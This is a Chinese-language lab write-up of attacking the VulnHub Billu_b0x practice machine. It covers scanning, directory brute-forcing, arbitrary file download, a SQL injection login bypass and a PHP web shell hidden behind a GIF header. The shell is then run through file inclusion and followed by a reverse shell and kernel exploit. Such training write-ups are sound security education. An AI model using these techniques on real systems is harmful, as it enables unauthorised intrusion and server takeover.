网络攻防实战 lab05 靶机 VulnHub IndiShell Lab: Billu_b0x
地址发现
arp-scan -l

得到地址为 10.0.2.6。
端口发现与服务版本探测
nmap -p- 10.0.2.6
nmap -p22,80 -sC -sV 10.0.2.6
探测到 22 端口有 SSH 服务,80 端口有 http 服务。

访问 80 端口服务
访问 10.0.2.6:80 发现是一个登录页面,需要用户名和密码,上面写着 Show me your sql skill,所以应该是有 sql 注入。
尝试经典的注入后以失败告终,暂时放过去。
尝试 clumbster attack
用 burpsuite 尝试暴力破解用户名和密码,但是普通版的 burpsuite 破解速度太慢,未能成功。
对靶机目录爆破
我知道的有 dirb 和 disearch 两种工具(还有其他),dirb 适合简单测试,速度快但是功能不丰富,disearch 适合深度渗透测试,功能丰富但是速度慢且对网站抗压要求较高。
dirb http://10.0.2.6:80
发现了一些目录和文件,一个个尝试过去,发现如下信息:
- add:一个上传图片的程序
- in:一个有系统版本信息的网站
- index:登陆页面
- images:一些图片
- test:请求后反馈没有 file 参数

利用任意文件下载漏洞
在最后一个 test 文件寻找突破口。我们通过 burpsuite 拦截后给予它 file 参数,发现竟然能够获得 file 文件的内容。这是一个任意文件下载漏洞。

查看 index.php 源码并利用 sql 注入漏洞
我们回想起刚才网页暗示有 sql 注入漏洞,于是我们通过任意文件下载漏洞,查看 index.php 是如何处理用户名和密码的。
发现是这样:
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
$result = mysqli_query($conn, $run);
然后搜集资料,找到一个可行的 sql 注入漏洞,让用户名密码都为 or 1=1 #" / =\。
用图片伪装 php 木马并上传
登录以后,发现有两个选项:Show Users 和 Add Users,其中 Show Users 会展示已有的用户和图片,而 Add User 则可以添加用户和图片。
我们发现,右键打开图片的链接,图片存储在一个 uploaded_images 的文件夹下,那么我们把一个木马病毒伪装成图片上传,再通过某种方式在靶机上运行这个病毒,即可获取靶机的命令行了。
<? php system($_GET["cmd"]); ?>
但是,在上传图片的时候,发现图片会被严格地检查,我们直接查看 panel.php 看看前端是如何检查的。

首先会检查文件后缀名,然后还会检查文件头。因此我们使用 gif 的文件头 GIF89A 伪装这是一个 gif 文件,这样就可以通过检测了。
利用任意文件执行漏洞
接下来我们要执行这个病毒。我们知道,Show Users 里面肯定会有加载图片的代码,所以查看 panel.php 中加载图片的代码具体是什么样的。

所以,只需要把 load 参数设置成 load=uploaded_images/b.jpg,其中 b.jpg 是木马病毒文件的名字,即可。
同时,因为木马是 GET 请求的,在请求头上加入 ?cmd=ls 来验证是否成功。

随后加入反弹 shell 指令即可获得一个低权限的 cmd。
利用内核漏洞提权
最后,使用 lsb_release 找到 Linux 内核的版本,并在 searchsploit 上寻找对应的渗透代码即可获得 root 权限。


浙公网安备 33010602011771号